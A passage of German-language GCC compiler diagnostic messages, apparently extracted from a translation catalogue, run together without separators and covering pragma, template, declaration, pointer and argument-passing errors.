Feldes mit unbekannten Grenzenungültige Verwendung von const_cast mit Typ %qT, das ein Zeiger oder Referenz auf Funktionstyp istungültige Verwendung von const_cast mit Typ %qT, das weder Zeiger, Referenz, noch vom Typ eines Zeigers auf Datenelement istfalsche Benutzung eines flexiblen Feldelementsfalsche Benutzung des unvollständigen typedef %qDungültige Verwendung des Elementes %q+D in statischer Elementfunktionungültige Verwendung eines Nicht-L-Wert-Feldesungültige Verwendung des nicht-statischen Datenelementes %q+Dungültige Verwendung des nicht-statischen Datenelementes %qDfalsche Benutzung einer nicht-statischen Elementfunktionungültige Verwendung der nicht-statischen Elementfunktion %qDungültige Benutzung des nicht-statischen Datenelements %qEfalsche Benutzung eines Packauflösungs-Ausdruckesungültige Verwendung des qualifizierten Namens %<%D::%D%>ungültige Verwendung des qualifizierten Namens %<%T::%D%>ungültige Verwendung des qualifizierten Namens %<::%D%>ungültige Verwendung einer Struktur mit flexiblem Feldelementungültige Verwendung der Template-ID %qD in Deklaration des ursprünglichen Templatesungültige Verwendung des Typs %qT als Standardwert für einen Template-Templateparameterfalsche Benutzung des undefinierten Typs %<%s %E%>falsche Benutzung eines void-AusdruckesUngültiger Vektortyp für Attribut %qEungültige Versionsnummer »%s«invoke[non-static] an statischer Methodeinvokestatic an abstrakter Methodeinvokestatic an nichtstatischer Methodees muss die Adresse einer Funktion mit externer Bindung seinSchleifenvariable %qs sollte »private« seinSchleifenvariable %qs sollte nicht »firstprivate« seinSchleifenvariable %qs sollte nicht in Reduktion seinIteratorende bei %L vereinfacht nichtIteratoranfang bei %L vereinfacht nichtIteratorende bei %L vereinfacht nichtsein dest_idx sollte %d sein, nicht %dsein Gültigkeitsbereich umfasst nur diese Definition bzw. Deklaration, was Sie wahrscheinlich nicht wollteniwmmxt ABI erfordert eine iwmmxt-fähige CPUiwmmxt erfordert ein AAPCS-komptibles ABI für den richtigen Einsatzjcf-dump: keine Klassen angegeben
Sprungumgehung ausgeschaltetin Gültigkeitsbereich des Bezeichners mit variabel modifiziertem Typen springenSprung in Anweisungs-AusdruckSprung zur case-MarkeSprung zur Marke %q+DSprung zur Marke %qDAusschuss am Ende von #pragma %sAusschuss am Ende von #pragma GCC java_exceptionsAusschuss am Ende von #pragma GCC memregs [0..16]Ausschuss am Ende von #pragma ghs endsdaAusschuss am Ende von #pragma ghs endtdaAusschuss am Ende von #pragma ghs endzdaAusschuss am Ende von #pragma ghs interruptAusschuss am Ende von #pragma ghs sectionAusschuss am Ende von #pragma ghs startsdaAusschuss am Ende von #pragma ghs starttdaAusschuss am Ende von #pragma ghs startzdaAusschuss am Ende von #pragma longcallAusschuss am Ende von %<#pragma GCC visibility%>Ausschuss am Ende von %<#pragma align%>Ausschuss am Ende von %<#pragma extern_prefix%>Ausschuss am Ende von %<#pragma fini%>Ausschuss am Ende von %<#pragma init%>Ausschuss am Ende von %<#pragma pack%>Ausschuss am Ende von %<#pragma pop_macro%>Ausschuss am Ende von %<#pragma push_macro%>Ausschuss am Ende von %<#pragma redefine_extname%>Ausschuss am Ende von %<#pragma weak%>Ausschuss am Ende von »#pragma ms_struct«Ausschuss am Ende von '#pragma options'Ausschuss am Ende von '#pragma unused'Ausschuss am Ende der SignaturzeichenkettenSchlüsselwort %<export%> nicht implementiert, und wird ignoriertMarke Marke %q+D deklariert, aber nicht definiertMarke %q+D definiert, aber nicht verwendetMarke %q+D verwendet, aber nicht definiertMarke %qE außerhalb einer Funktion referenziertMarke wurde wchar_t genanntÜberprüfung von lang_*: in %s, bei %s:%d gescheitertSprache %s nicht erkanntSprachen-Zeichenkette %<"%E"%> nicht erkanntgroße Festkommakonstante implizit auf Festkommatypen abgeschnittenGroße Ganzzahl implizit auf vorzeichenlosen Typen abgeschnittendas letzte Argument muss ein Immediate seindie Anordnung der von der leeren Klasse %qT abgeleiteten Klassen könnte sich in zukünftigen GCC-Versionen ändernld gab %d als Ende-Status zurücklinke Präzisionlinke Präzision im strfmon-Formatlinker Rotationszähler >= Breite des Typslinker Rotationszähler ist negativLinks-Schiebe-Weite >= Breite des TypsLinks-Schiebe-Weite ist negativlinker Operand des Komma-Ausdrucks hat keinen EffektLängenmodifiziererLängenmodifizierer im printf-FormatLängenmodifizierer im scanf-FormatLängenmodifizierer im strfmon-FormatBibliotheken: %s
Bibliotheksfunktion %q#D als Nicht-Funktion %q#D redeklariertBibliothek lib%s nicht gefundenlo_sum nicht von einem Registerlokale Klasse %q#T sollte nicht statisches Datenelement %q#D habenlokale Deklaration von %qs verdeckt InstanzvariableLokale Variablenspeicheranforderungen überschreiten Kapazitätlogisches %<%s%> mit Konstante ungleich Null wird immer als »wahr« ausgewertet werden»long long«-Konstante ist kein gültiger direkter Operandlong, short, signed oder unsigned ungültig verwendet für %qsKopf der Schleife %d gehört nicht direkt zu ihrKopf der Schleife %d hat nicht genau 2 EinträgeFalle der Schleife %d gehört nicht direkt zu ihrFalle der Schleife %d hat nicht genau einen NachfolgerFalle der Schleife %d hat nicht den Kopf als NachfolgerFalle der Schleife %d ist als Teil einer irreduziblen Region markiertlockerer »throw«-Spezifizierer für %q+#FUnterer Wert in case-Marken-Bereich ist kleiner als der Minimalwert des TypsAls Verringerungsoperand wird L-Wert erfordertAls Erhöhungsoperand wird L-Wert erfordertAls linker Operand einer Zuweisung wird L-Wert erfordertAls Operand für unäres %<&%> wird L-Wert erfordertIn asm-Anweisung wird L-Wert erfordertMakroname fehlt hinter %qs%qD wird statisch gemachtFalsch geformtes #pragma GCC visibility pushFalsch geformtes #pragma builtinfalsch geformtes #pragma extern_prefix, ignoriertfalsch geformtes #pragma ghs sectionfalsch geformtes #pragma redefine_extname, ignoriertfalsch geformtes #pragma weak, ignoriertFalsch geformtes %<#pragma align%>Falsch geformtes %<#pragma align%> - ignoriertFalsch geformtes %<#pragma fini%>Falsch geformtes %<#pragma fini%>, ignoriertFalsch geformtes %<#pragma init%>Falsch geformtes %<#pragma init%>', ignoriertfalsch geformtes %<#pragma pack%> - ignoriertfalsch geformtes %<#pragma pack(pop[, id])%> - ignoriertfalsch geformtes %<#pragma pack(push[, id][, <n>])%> - ignoriertFalsch geformtes »#pragma ms_struct {on|off|reset}«, ignoriertFalsch geformtes '#pragma ms_struct', ignoriertFalsch geformtes '#pragma options align={mac68k|power|reset}', ignoriertFalsch geformtes '#pragma options', ignoriertschlechte Argumente für Spezifikationsfunktionschlechter Name für Spezifikationsfunktiondefektes typeof, stattdessen decltype verwendenMaske muss »immediate« seindazu passende Bedingung erlaubt kein Registerdazu passende Bedingung in Ausgabeoperanden ungültigdazu passende Bedingung referenziert ungültige Operandennummermaximaler Wert des Parameters %qs ist %u-EB und -EL können nicht gleichzeitig verwendet werden-m32 und -m64 können nicht zusammen angegeben werdenMedienfunktionen sind ohne -mmedia nicht verfügbarElement %q+#D mit Konstruktor in anonymem Aggregat nicht erlaubtElement %q+#D mit Konstruktor nicht erlaubt in UnionElement %q+#D mit Zuweisungsoperator ist in anonymem Aggregt nicht erlaubtElement %q+#D mit Copy-Zuweisungsoperator ist nicht erlaubt in UnionElement %q+#D mit Destruktor in anonymem Aggregat nicht erlaubtElement %q+#D mit Destruktor nicht erlaubt in UnionElement %qD kann nicht gleichzeitig virtuell und statisch deklariert werdenElement %qD steht in Konflikt mit Feldname in virtueller FunktionstabelleElement %qD als »friend« deklariert, bevor Typ %qT definiert wurdeElement %qD ist nicht initialisierte ReferenzElement %qD mit nicht initialisierten konstanten FeldernElementfunktionen sind implizite »friends« ihrer KlasseSpeichereingabe %d ist nicht direkt adressierbarMethode »%s« nicht gefunden in KlasseMethodendeklaration nicht im @interface-KontextMethodendefinition für %<%c%s%> nicht gefundenMethodendefinition nicht im @implementation-KontextIn Methode fehlt möglicherweise ein [super dealloc]-Aufrufminimaler Wert des Parameters %qs ist %uProfiling für mips16-Funktionenmips_debugger_offset mit nicht-Stapel/Rahmen/Argument-Zeiger aufgerufenArgumentpacklängen passen nicht bei Auflösung von %<%E%>Argumentpacklängen passen nicht bei Auflösung von %<%T%>unpassende Argumenteunpassende Signatur für Feld »%s« in »%s«schlecht platziertes ConstantValue-Attribut (in keinem Feld)fehlende $-Operandennummer im Format%<(%> hinter %<#pragma GCC visibility push%> fehlt - ignoriertfehlendes %<(%> hinter %<#pragma pack%> - ignoriertfehlendes %<(%> hinter %<#pragma pop_macro%> - ignoriertfehlendes %<(%> hinter %<#pragma push_macro%> - ignoriertfehlendes %<(%> hinter %<#pragma pop_macro%> - ignoriertfehlendes %<(%> hinter %<#pragma push_macro%> - ignoriertFehlendes '(' hinter '#pragma unused', ignoriertFehlendes ')' hinter '#pragma unused', ignoriertfehlendes Code-AttributFehlende PHI-Definitionfehlender Vermerk von REG_EH_REGION am Ende vom bb %i[error|warning|ignored] nach %<#pragma GCC diagnostic%> fehltFehlendes Argument in %<__builtin_args_info%>fehlendes Argument für »%s«fehlendes Argument für »-%s«fehlendes Argument für »%s«-Optionfehlende Sperre nach Block %igeschweifte Klammern fehlen um Initialisierunggeschweifte Klammern fehlen um Initialisierung für %qTFehlende Aufrufgraph-Kante für call stmt:schließende geschweifte Klammer für benannten Operanden fehltFehlende schließende KlammerFehlende DefinitionFehlende Kante %i->%iFeld »%s« fehlt in »%s«fehlender Dateiname hinter %qsfehlendes Füllzeichen am Ende des strfmon-Formatesfehlende InitialisierungInitialisierung für Element %qD fehltfehlendes Makefile-Ziel hinter %qsFehlende Zahlöffnende Klammer fehltfehlender OperandOption hinter %<#pragma GCC diagnostic%> Art fehltfehlender Pfad hinter %qsWächter in Funktionsaufruf fehltfehlendes abschließendes Zeichen %cfehlender Typname in typedef-DeklarationMischen von »catch« in C++ und Java in einzelner Übersetzungseinheitmno-cygwin und mno-win32 sind unverträglichModus %qs auf unpassenden Typen angewendetmehr als %d Operanden in %<asm%>Kopierbefehl nicht behandeltMS-Bitfelder nicht unterstützt für objcSchmutzfänger kann nicht %qs in Stub-Funktion verfolgenSchmutzfänger kann nicht externes %qs unbekannter Größe verfolgenSchmutzfängerprüfung noch nicht für ARRAY_RANGE_REF implementiertSchmutzfänger: diese Sprache wird nicht unterstütztmultidimensionales Feld muss für alle Dimensionen außer der ersten Grenzen habenMultilib-Ausschluss »%s« ist ungültigMultilib-Ausschlüsse »%s« sind ungültigMultilib-select »%s« ist ungültigMultilib-Spezifikation »%s« ist ungültigmehrere %s namens %<%c%s%> gefundenMehrere Standardmarken in einem »switch«mehrfache Definition von %q#Tin Union %qT werden mehrere Felder initialisiertmehrere Funktionstypattribute angegebenMehrere heiße/kalte Übergänge gefunden (bb %i)mehrere Inline-Aufrufermehrere Interruptattribute sind nicht erlaubtmehrere Parameter wurden %q+D genanntmehrere Speicherklassen in Deklaration von %qsmehrere Speicherklassen in Deklarationmehrere Typen in einer Deklarationvor Verwendung von typeid muss #include <typeinfo> angegeben werdenmvcle-Verwendungrätselhafte Repository-Information in %sName %qD in benannter Initialisierung im GNU-Stil für ein Feld verwendetName %qT hat unvollständigen TypenSuche nach %qD hat sich geändertName der Elementfunktion fehltName der Klasse verdeckt Template-Templateparameter %qDBenanntes Block-DO bei %L erfordert passenden ENDDO-Namennamespace %qD in %<using%>-Deklaration nicht erlaubtNamensbereich-Alias %qD ist hier nicht erlaubt, %qD angenommenanonymes Aggregat im Gültigkeitsbereich eines Namespace muss statisch seinLaufzeitprüfung für %s muss eingefügt werdennegative BefehlslängeNegative Ganzzahl implizit in vorzeichenlosen Typen konvertiertnegative Verschachtelungstiefe der Region %inegative Breite in Bitfeld %q+DNegative Breite in Bitfeld %qsweder der Destruktor noch der klassenspezifische Operator »delete« wird aufgerufen, auch wenn sie bei der Klassendefinition deklariert werdengeschachtelte Assemblerdialekt-AlternativenGeschachtelte extern-Deklaration von %qDGeschachtelte Funktion %q+D deklariert, aber nirgendwo definiertgeschachtelte Funktion %qs als %<extern%> deklariertVerschachtelte Redefinition von %<enum %E%>Verschachtelte Redefinition von %<struct %E%>Verschachtelte Redefinition von %<union %E%>»new« kann nicht auf Funktionstyp angewendet werden»new« kann nicht auf Referenztyp angewendet werdenneue Deklaration %q#Dkein %<%D(int)%> für Suffix %qs deklariert, stattdessen wird Präfixoperator versuchtkeine Methode %<%c%s%> gefundenkeine Elementfunktion %q#D in Klasse %qT deklariertkein FUNCTION_PROFILER for CRISKeine Argumentekeine Argumente für Spezifikationsfunktionkein Klassenname mit %qs angegebenkein Klassentemplate namens %q#T in %q#Tkein schließendes %<]%> für %<%%[%>-Formatkeine Überdeckung für Funktion %qs gefundenKein Datentyp für Zustand %qskein Standard-Argument für %qDnoch keine Beschreibungkein Feld %qD in initialisierter Union gefundenKeine Liste zur sofortigen Verwendungkeine Eingabedatei angegebenkeine Eingabedateienkeine Eingabedateien; es werden keine Ausgabedateien geschriebenkein Ganzzahltyp kann alle Aufzählungswerte für %qT darstellenkeine unteren Register für das Hervorholen der hohen Register verfügbarkeine Übereinstimmung für Aufruf von %<(%T) (%A)%>bei der Umwandlung der Funktion %qD in den Typ %q#T gab es keine Übereinstimmungenkeine passende Funktion für Aufruf von %<%D(%A)%>keine passende Funktion für Aufruf von %<%T::%s(%A)%#V%>kein passendes push für %<#pragma GCC visibility pop%>kein passendes Template für %qD gefundenkeine Elementfunktion %qD in %qT deklariertkein Element passt zu %<%T::%D%> in %q#Tkeine vorherige Deklaration für %q+Dkein vorheriger Prototyp für %q+Dkein Profiling von 64-bit-Code für dieses ABIKein Register in Adressekeine return-Anweisung in nicht void zurückgebender Funktionkein »sclass« für %s Stab (0x%x)kein geeignetes %<operator %s%> für %qTKein passendes %qD in Klasse %qT gefundenkeine Basisklasse im @interface für %qs deklariertkeine Basisklasse in Schnittstelle für %qs deklariert%qD wurde nicht eindeutig und endgültig in %qT überschriebenKnoten in cgraph_hash nicht gefundenNicht-adressierbare Variable innerhalb einer Alias-Mengenichtkonstantes Feld in DATA-Anweisung %LNicht-konstante Bedingung für statische BehauptungNicht-Ganzzahltyp in Bedingung verwendetnicht lokale Funktion %q#D verwendet anonymen Typennicht lokale Funktion %q#D verwendet lokalen Typen %qTnicht lokale Variable %q#D verwendet anonymen Typennicht-lokale Variable %q#D« verwendet lokalen Typen %qTNicht-L-Wert-Feld in bedingtem AusdruckNicht-Element %qs kann nicht als %<mutable%> deklariert seinNicht-Elementfunktion %qD kann nicht CV-Qualifizierer habenEingabe von Nicht-Speicher %d muss im Speicher bleibenNicht-Objekt-Element %qs kann nicht als %<mutable%> deklariert seinNicht-Parameter %qs kann kein Parameterpack seinNicht-Standard-Suffix an Gleitkommakonstantenicht-statisches konstantes Element %q#D, Standard-Zuweisungsoperator kann nicht verwendet werdennicht-statisches const-Element %q+#D in Klasse ohne einen Konstruktornicht-statisches Datenelement %qD hat Java-KlassentypNicht-statische Deklaration von %q+D folgt statischer Deklarationnicht-statische Initialisierung eines flexiblen Feldelementsnicht-statische Methode %q+D überschreibt statische Methodenicht-statische Referenz %q+#D in Klasse ohne Konstruktornicht-statisches Referenzelement %q#D, Standard-Zuweisungsoperator kann nicht verwendet werdenNicht-Template-Typ %qT als Template verwendetNicht-Thread-lokale Deklaration von %q+D folgt Thread-lokaler Deklarationnicht-triviale Umwandlung bei Zuweisungnicht-trivial markierte Initialisierungen nicht unterstütztnichtkonstanter Feldindex in InitialisierungNichtleere Ausgangsliste der Schleife %d, aber Ausgänge werden nicht aufgezeichnetnichtlokale Marke Nicht-Null-Argument hat ungültige Operandenzahl (Argument %lu)Nicht-Null-Argument referenziert Nicht-Zeiger-Operanden (Argument %lu, Operand %lu)Nicht-Null-Argument mit Operandenzahl außerhalb des Wertebereiches (Argument %lu, Operand %lu)Nicht-Null-Attribut ohne Argumente für einen Nicht-Prototypkeine gültige Java-.class-Dateinicht für ABI konfiguriert: »%s«nicht mit sysroot-Header-Suffix konfiguriertzu wenig TypinformationenZu wenige variable Argumente, um zu einem Wächter zu passenFunktion wird nicht geschützt: Kein Puffer mit mindestens %d BytesLokale Variablen werden nicht geschützt: Puffer variabler Größenoch nicht implementiert: Wartezeit-optimierte eingebettete QuadratwurzelAnmerkung: Null-Argument, wo Nicht-Null erwartet (Argument %lu)num_threads-Ausdruck muss bestimmt seinZahl muss 0 oder 1 seinAnzahl der Argumente passt nicht zum eingebauten PrototypenAnzahl der Argumente passt nicht zum PrototypenAnzahl der bb-Vermerke in Befehlskette (%d) != n_basic_blocks (%d)Komponentenanzahl des Vektors ist keine ZweierpotenzZahl der Zähler ist %d statt %dauf Objekt %qE des unvollständigen Typs %qT wird in %s nicht zugegriffenObjekt fehlt in Referenz auf %q+Dbei Verwendung von %qE fehlt Objektauf Objekt unvollständigen Typs %qT wird in %s nicht zugegriffenauf Objekt des Typs %qT wird in %s nicht zugegriffenObjekt mit variabel geändertem Typ darf keine Bindung habenveraltete Option -I- verwendet, bitte stattdessen -iquote verwendenVersatz von %q+D ist ABI-unverträglich und kann sich in zukünftigen GCC-Versionen ändernVersatz der leeren Basis %qT könnte ABI-unverträglich sein und sich in zukünftigen GCC-Versionen ändernVersatz der virtuellen Basis %qT ist ABI-unverträglich und kann sich in zukünftigen GCC-Versionen ändernAdressabstand ist außerhalb der Grenzen der konstanten Zeichenketteausgelassener mittlerer Operand für Operator %<?:%> kann nicht verarbeitet werdennur Deklarationen von Konstruktoren können %<explicit%> seinNur initialisierte Variablen können im Programmspeicherbereich platziert werdenNur uninitialisierte Variablen können in einem .bss-Abschnitt platziert werdenNur uninitialisierte Variablen können im .noinit-Bereich platziert werdenin dieser Konfiguration werden nur schwache Aliase unterstütztopake Vektortypen können nicht initialisiert werden/dev/zero öffnen: %mAbhängigkeitsdatei »%s« wird geöffnet: %mAusgabedatei »%s« wird geöffnet: %merster Operand muss ein hartes Register seinOperandenbedingung enthält falsch positioniertes %<+%> oder %<=%>Operandenbedingungen für %<asm%> unterscheiden sich in der Anzahl der AlternativenOperand ist weder eine Konstante noch ein Bedingungscode, ungültiger Operandencode »c«Operandenzahl fehlt hinter %%-BuchstabeOperandenzahl außerhalb des WertebereichesOperandennummer außerhalb des Wertebereiches im FormatOperandennummer für Format ohne Argumente angegebenOperandennummer mit unterdrückter Zuweisung angegebenOperanden für ?: haben verschiedene Typen: %qT und %qTOperation auf %qE könnte undefiniert seinOptimierung kann Lese- und/oder Schreiboperationen auf Registervariablen entfernenbei Optimierung nach Größe würde Codegröße wachsenangeschaltete Optionen: angegebene Optionen: geordneter Vergleich von Zeiger mit Ganzzahlnullgeordnete Region muss innerhalb einer Schleifenregion mit geordneter Klausel eng geschachtelt seinursprünglich indirekter Funktionsaufruf kommt nicht als »inline« in BetrachtPlatz im Hauptspeicher reicht nicht ausäußerer Block der Region %i ist falschAusgabebedingung %d kann nicht zusammen mit »%s« angegeben werdenAusgabebedingung %d muss ein einzelnes Register angebenAusgabebedingung %qc für Operand %d steht nicht am AnfangAusgabedatei doppelt angegebenAusgabezahl %d nicht direkt adressierbarAusgabeoperand %d muss %<&%>-Bedingung verwendenBedingung des Ausgabeoperanden erfordert %<=%>Ausgabeoperand ist in %<asm%> konstantAusgaberegister müssen oben auf dem Stack gruppiert werdenoutput_move_single:Überlauf in FeldgrößeÜberlauf in Konstanten-AusdruckÜberlauf in AufzählungswertenÜberlauf in Aufzählungswerten bei %qDÜberlauf in impliziter Konstantenkonvertierungübergelaufene Ausgabeargumentliste für »%s«gepacktes Attribut führt zu ineffizienter Ausrichtunggepacktes Attribut verursacht ineffiziente Ausrichtung für %q+Dgepacktes Attribut verursacht ineffiziente Ausrichtung für %qsgepacktes Attribut ist unnötiggepacktes Attribut ist unnötig für %q+Dgepacktes Attribut ist unnötig für %qsstruct wird bis zur Ausrichtungsgrenze aufgefülltstruct wird aufgefüllt, um %q+D auszurichtenParameter %P hat unvollständigen Typen %qTParameter %P von %qD hat unvollständigen Typen %qTParameter %q+D als %<inline%> deklariertParameter %q+D als void deklariertParameter %q+D hat unvollständigen TypenParameter %q+D hat nur eine VorwärtsdeklarationParameter %qD leer definiertParameter %qD hat Java-KlassentypParameter %qD bezieht %s in Feld mit unbekannter Grenze %qT einParameter %qD deklariert ungültigerweise MethodentypParameter %qD ist initialisiertParameter %u (%q+D) hat unvollständigen TypenParameter %u (%q+D) hat void-TypenParameterliste passt zu keiner gültigen Signatur für %s()Parameter darf nicht variabel modifizierten Typ %qT habenParameternamen (ohne Typen) in FunktionsdeklarationParameterpack %qE muss am Ende der Templateparameterliste seinParameterpack %qT muss am Ende der Templateparameterliste seinArgument %qE für Parameterpack muss am Ende der Templateargumentliste seinArgument %qT für Parameterpack muss am Ende der Templateargumentliste seinParameterpacks müssen am Ende der Parameterliste stehenKlammern um %qE können nicht verwendet werden, einen Zeiger auf Elementfunktion zu erzeugenTeilspezialisierung %qT als %<friend%> deklariertTeilspezialisierung %qT spezialisiert keine TemplateargumenteDie Übergabe von %qT als %<this%>-Argument von %q#D streicht QualifiziererÜbergabe von %qT wählt %qT statt %qTÜbergabe von NULL an Nicht-Zeiger-Argument %P von %qDÜbergabe des Arguments %d von %qE entfernt Kennzeichner von Zeiger-Ziel-TypÜbergabe des Arguments %d von %qE als %<float%> statt %<double%> aufgrund des PrototypsÜbergabe des Arguments %d von %qE als %qT statt %qT aufgrund des PrototypsÜbergabe des Arguments %d von %qE als komplex statt Gleitkomma aufgrund des PrototypsÜbergabe des Arguments %d von %qE als komplex statt Ganzzahl aufgrund des PrototypsÜbergabe des Arguments %d von %qE als Gleitkomma statt komplex aufgrund des PrototypsÜbergabe des Arguments %d von %qE als Gleitkomma statt Ganzzahl aufgrund des PrototypsÜbergabe des Arguments %d von %qE als Ganzzahl statt komplex aufgrund des PrototypsÜbergabe des Arguments %d von %qE als Ganzzahl statt Gleitkomma aufgrund des PrototypsÜbergabe des Arguments %d von %qE als vorzeichenbehaftet aufgrund des PrototypsÜbergabe des Arguments %d von %qE als vorzeichenlos aufgrund des PrototypsÜbergabe des Arguments %d von %qE entfernt Kennzeichner von Zeiger-Ziel-TypÜbergabe des Arguments %d von %qE von anderem Objective-C-TypÜbergabe des Arguments %d von %qE von inkompatiblem ZeigertypÜbergabe des Arguments %d von %qE  erzeugt Ganzzahl von Zeiger ohne TypkonvertierungÜbergabe des Arguments %d von %qE erzeugt Zeiger von Ganzzahl ohne TypkonvertierungÜbergabe des Arguments %d von %qE erzeugt aus unqualifiziertem einen qualifizierten FunktionszeigerÜbergabe des Arguments %d von %qE mit anderer Breite aufgrund des PrototypsDie Übergabe von Gleitkommaargumenten in FP-Registern wird noch nicht unterstütztpc%d ist kein gültiger Präzisionswert (32, 64 oder 80)pch_preprocess-Pragma sollte nur mit -fpreprocessed verwendet werdenpex_init gescheitertZeigerarithmetik für Objekte mit Garbage-Collection ist nicht erlaubtZeigerzuweisungZeiger entweicht, aber sein Namensschild ist nicht aufrufmarkiertZeiger auf Typen %<void *%> in Arithmetik verwendetZeiger des Typs %<void *%> in Subtraktion verwendetZeigerziele in Zuweisung unterscheiden sich im VorzeichenbesitzZeigerziele in Initialisierung unterscheiden sich im VorzeichenbesitzZeigerziele bei Übergabe des Arguments %d von %qE unterscheiden sich im VorzeichenbesitzZeigerziele in return unterscheiden sich im VorzeichenbesitzZeiger auf Funktion in Arithmetik verwendetZeiger auf eine Funktion in Subtraktion verwendetUmwandlung in Zeiger auf Element über virtuelle Basis %qTZeiger auf Elementfunktion in Arithmetik verwendetZeiger auf Elementtyp %qT mit Objekttyp %qT inkompatibelZeigertyp passt nicht in bedingtem AusdruckZeigerwert verwendet, wo »complex« erwartet wurdeZeigerwert verwendet, wo Gleitkommawert erwartet wurdeZeiger auf Elementfunktion %E kann nicht ohne Objekt aufgerufen werden; Beispiele: .* oder ->*Zeiger-/Ganzzahltyp passt nicht in bedingtem AusdruckZeiger sind nicht als case-Werte zugelassenZeiger mit Speichermarke sollten Zeigt-Auf-Menge haben oder auf malloc zeigenmögliches Problem bei Aufruf des »delete«-Operators erkanntPost-Increment-Adresse ist kein RegisterSuffix-%qD muss %<int%> als sein Argument nehmenSuffix-%qD muss %<int%> als sein zweites Argument nehmenSuffix-%qD sollte %qT zurückgebenPre-Decrement-Adresse ist kein RegisterPre-Increment-Adresse ist kein RegisterGenauigkeitGenauigkeit im printf-Formatangegebene Thumb-Anweisungangegebene Anweisung in bedingter SequenzPräfix-%qD sollte %qT zurückgebenprev_bb von %d sollte %d sein, nicht %dvorherige Deklaration %q+#D hiervorherige Deklaration %q+Dvorherige Deklaration %q+D verwendete %d Template-Parametervorherige Deklaration von %q+#Dvorherige Deklaration von %q+#D mit %qL-Bindungvorherige Deklaration von %q+DVorherige Deklaration von %q+D war hiervorherige Deklaration von %q+D war inlinevorherige Deklaration von %q+D mit Attribut noinlinevorherige Deklaration von %qsvorherige Deklaration von namespace %q+D hierVorherige Definition von %q+D war hiervorherige externe Deklaration von %q+#DVorherige implizite Deklaration von %q+D war hiervorherige Deklaration %q+#D einer Nicht-Funktionprivates Element %q+#D in anonymer structprivates Element %q+#D in anonymer UnionProfilerunterstützung für VxWorksProfiling wird mit -mg nicht unterstützt
Programme: %s
weitergegebenes Argument %qD passt nicht zu eingebautem Prototypenweitergegebenes Argument %qD passt nicht zum Prototypengeschütztes Element %q+#D in anonymer structgeschütztes Element %q+#D in anonymer UnionProtokoll %qs hat ringförmige AbhängigkeitPrototyp für %q#D passt zu nichts in Klasse %qTPrototyp für %q+#DPrototyp für %q+D deklariert Argument %d mit inkompatiblem TypenPrototyp für %q+D deklariert weniger Argumente als vorherige Definition im alten StilPrototyp für %q+D deklariert mehr Argumente als vorherige Definition im alten StilPrototyp für %q+D folgt einer Nicht-Prototyp-Definitionfür %q+D bereitgestelltPseudo-Destruktor wird nicht aufgerufenqualifizierte Funktionstypen können nicht verwendet werden, um free-Funktionen zu deklarierenqualifizierte Funktionstypen können nicht verwendet werden, um statische Elementfunktionen zu deklarierenqualifizierter Typ %qT passt nicht zum Destruktornamen ~%qTQualifizierer sind bei Deklaration von %<operator %T%> nicht erlaubtQualifizierer können nur für Objekte und Funktionen angegeben werdenr0 muss als aufrufzerstörtes Register verfügbar seinWertebereichsausdrücke in switch-Anweisungen sind nicht standardkonformschreibgeschützte Stelle %E als %<asm%>-Ausgabe verwendetschreibgeschütztes Element %qD als %<asm%>-Ausgabe verwendetschreibgeschützte Variable %qD als %<asm%>-Ausgabe verwendetLesen der Klasse %s zu zweiten Mal von %sLesen über Null-Zeiger (Argument %d)real kind=8 nicht verfügbar für Option -fdefault-real-8rekursive Auswertung des Standardarguments für %q#Drekursives Inliningrekursiver Typ %qT nicht definiertRedeklaration von %<enum %E%>Redeklaration von %<wchar_t%> als %qTRedeklaration von %q+D mit anderer Sichtbarkeit (alte Sichtbarkeit beibehalten)Redeklaration von %q+D ohne BindungRedeklaration von %qT als Nicht-TemplateRedeklaration des eingebauten C++-Typs %qTRedeklaration von Aufzählung %q+Dhier als %q#D redeklariertmit %d Template-Parameter(n) redeklariertredefinierte »extern inline«-Funktionen kommen nicht als »inline« in BetrachtRedefinition von %<struct %E%>Redefinition von %<union %E%>Redefinition von %q#TRedefinition von %q+DRedefinition des Standardarguments für %q#DRedefinition des Parameters %q+DRedefinition des typedef %q+DRedundante Redeklaration von %q+Dredundante Redeklaration von %qD im selben GültigkeitsbereichReferenz %qs ist mehrdeutig: erscheint in den Schnittstellen %qs und %qsReferenz auf %qD ist mehrdeutigReferenz auf lokale Variable %q+D zurückgegebenReferenz auf Nicht-PURE-Funktion »%s« bei %L innerhalb eines FORALL %sReferenz auf Nicht-L-Wert zurückgegebenRegion %i kann throw enthalten und ist in einer Region enthalten, die dies nicht darfregion_array ist für Region %i beschädigtRegistername für Nicht-Registervariable %q+D angegebenfür %q+D wurde kein Registername angegebenfür %q+D angegebenes Register eignet sich nicht für DatentypRegister für zwei globale Registervariablen verwendetRegister-Variable %qD in verschachtelter Funktion verwendetRegister-Variable %qs in verschachtelter Funktion verwendetRegister IX, IY und Z im selben Befehl verwendetReimplementation der Klasse %qs.rpo-Datei wird gelöschtSpezifikation wird von %s nach %s umbenannt
.rpo-Datei wird umbenanntwiederholtes %s im FormatWiederholte using-Deklaration %q+DRepository-Datei »%s« enthält keine KommandozeilenargumenteAnfrage zur impliziten für Umwandlung von %qT in %qT ist in C++ nicht erlaubtAbfrage des Elementes %qD in %qE, das vom Nicht-Klassentyp %qT istAbfrage des Elementes %qD ist mehrdeutigAbfrage des Elementes %qD ist im Gitter der Mehrfachvererbung mehrdeutigAnfrage nach Element %qE in etwas, was keine Struktur oder Variante istangeforderte Ausrichtung für %q+D ist größer als die implementierte Ausrichtung von %wuVerlangte Ausrichtung ist keine KonstanteVerlangte Ausrichtung ist keine ZweierpotenzVerlangte Ausrichtung ist zu großangefordertes init_priority ist keine Ganzzahlkonstanteangefordertes init_priority ist außerhalb des Wertebereichesangefordertes init_priority ist für interne Verwendung reserviertAngeforderte Position ist kleiner als NullAngeforderte Position ist keine GanzzahlkonstanteErgebnis von %<operator->()%> ergibt Nicht-Zeiger-Ergebnisreturn streicht Qualifizierer von Zeiger-ZieltypReturn-Kante zeigt nicht auf Ausgang in bb %dreturn von inkompatiblem Zeigertypreturn erzeugt Ganzzahl von Zeiger ohne Typkonvertierungreturn erzeugt Zeiger von Ganzzahl ohne Typkonvertierungreturn erzeugt aus unqualifiziertem einen qualifizierten Funktionszeiger»return« nicht gefolgt von SperreRückgabetyp %q#T ist unvollständigRückgabetyp ist auf %<int%> voreingestelltRückgabetyp hat Java-Klassentyp %q#TRückgabetyp ist unvollständigRückgabetyp könnte Kandidat für Formatattribut seinRückgabetyp von %q+D ist nicht %<int%>Angabe des Rückgabetyps für Konstruktor ist ungültigAngabe des Rückgabetyps für Destruktor ist ungültigRückgabetyp für %<operator %T%> angegebenReturn-Anweisung mit Wert in »void« 